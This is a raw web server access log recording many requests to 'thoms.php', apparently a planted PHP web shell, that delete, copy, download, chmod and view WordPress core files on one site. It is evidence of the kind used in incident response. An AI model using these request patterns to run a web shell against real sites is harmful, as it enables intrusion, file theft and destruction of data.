45.135.193.11 - - [11/Sep/2026:23:27:32 -0400] "GET /thoms.php?del=class-wp-http-requests-response.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:32 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:32 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:32 -0400] "GET /thoms.php?dl=cron.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=cron.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:32 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=script-modules.php HTTP/1.1" 200 15147 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:32 -0400] "GET /thoms.php?chmod=class-wp-block-patterns-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11547 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-exception.php HTTP/1.1" 200 12039 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-exception.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:32 -0400] "GET /thoms.php?dl=class-wp-block-parser.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-hook.php HTTP/1.1" 200 16906 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-hook.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /thoms.php?chmod=bookmark.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=bookmark.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /bossini.com.tw/wp-includes/functions.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-snoopy.php HTTP/1.1" 200 21732 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /thoms.php?dl=embed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=embed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /bossini.com.tw/wp-includes/load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2FIXR HTTP/1.1" 200 14499 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /thoms.php?chmod=class-wp-scripts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-scripts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:34 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftheme-templates.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ftheme-templates.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /thoms.php?dl=class-wp-http-cookie.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59175 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-cookie.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /thoms.php?dl=class-wp-block.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:33 -0400] "GET /thoms.php?dl=pluggable-deprecated.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:34 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fbookmark-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fbookmark-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:34 -0400] "GET /thoms.php?chmod=class-wp-script-modules.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-script-modules.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:34 -0400] "GET /bossini.com.tw/wp-includes/shortcodes.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:34 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=default-constants.php HTTP/1.1" 200 15403 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:34 -0400] "GET /thoms.php?dl=class.wp-dependencies.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:34 -0400] "GET /thoms.php?del=js&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59161 "http://163.245.207.76:443/thoms.php?del=js&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:34 -0400] "GET /thoms.php?del=php-compat&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59181 "http://163.245.207.76:443/thoms.php?del=php-compat&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:35 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ficons.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ficons.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:34 -0400] "GET /thoms.php?dl=class-simplepie.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:35 -0400] "GET /bossini.com.tw/wp-includes/taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:35 -0400] "GET /bossini.com.tw/wp-includes/widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:35 -0400] "GET /thoms.php?chmod=ms-default-filters.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:35 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-templates-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:35 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-smtp.php HTTP/1.1" 200 12136 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:35 -0400] "GET /thoms.php?chmod=css&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=css&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:35 -0400] "GET /thoms.php?del=class-simplepie.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-simplepie.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:35 -0400] "GET /thoms.php?dl=class-wp-dependencies.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59167 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:35 -0400] "GET /thoms.php?dl=compat.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?dl=compat.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:36 -0400] "GET /thoms.php?del=sitemaps&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=sitemaps&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:36 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:36 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php HTTP/1.1" 200 13443 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:36 -0400] "GET /thoms.php?del=bookmark-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=bookmark-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:36 -0400] "GET /bossini.com.tw/wp-includes/plugin.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:36 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=locale.php HTTP/1.1" 200 11976 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:36 -0400] "GET /bossini.com.tw/wp-includes/class-wp-http-encoding.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:36 -0400] "GET /bossini.com.tw/wp-includes/utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:37 -0400] "GET /thoms.php?chmod=speculative-loading.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=speculative-loading.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:36 -0400] "GET /thoms.php?del=default-widgets.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=default-widgets.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:37 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:37 -0400] "GET /thoms.php?del=media.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=media.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:37 -0400] "GET /thoms.php?del=class-wp-exception.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59103 "http://163.245.207.76:443/thoms.php?del=class-wp-exception.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:37 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:37 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=vars.php HTTP/1.1" 200 14155 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=vars.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:37 -0400] "GET /thoms.php?del=class-wp-post.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-post.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:37 -0400] "GET /bossini.com.tw/wp-includes/class-wp-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:37 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fcertificates HTTP/1.1" 200 12742 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fcertificates" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:37 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-oembed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-oembed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:38 -0400] "GET /thoms.php?chmod=class-wpdb.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:38 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-walker.php HTTP/1.1" 200 15559 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-walker.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:38 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fscript-loader.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fscript-loader.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:38 -0400] "GET /thoms.php?dl=class-wp-http.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:38 -0400] "GET /thoms.php?del=class-wp-locale.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:38 -0400] "GET /thoms.php?chmod=version.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=version.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:38 -0400] "GET /thoms.php?del=compat.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=compat.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:38 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&upload= HTTP/1.1" 200 12188 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:38 -0400] "GET /thoms.php?chmod=assets&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=assets&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:38 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fstyle-engine HTTP/1.1" 200 13456 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:39 -0400] "GET /thoms.php?chmod=class-wp-hook.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-hook.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:39 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-curl.php HTTP/1.1" 200 16254 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-curl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:39 -0400] "GET /thoms.php?chmod=class-wp-matchesmapregex.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-matchesmapregex.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
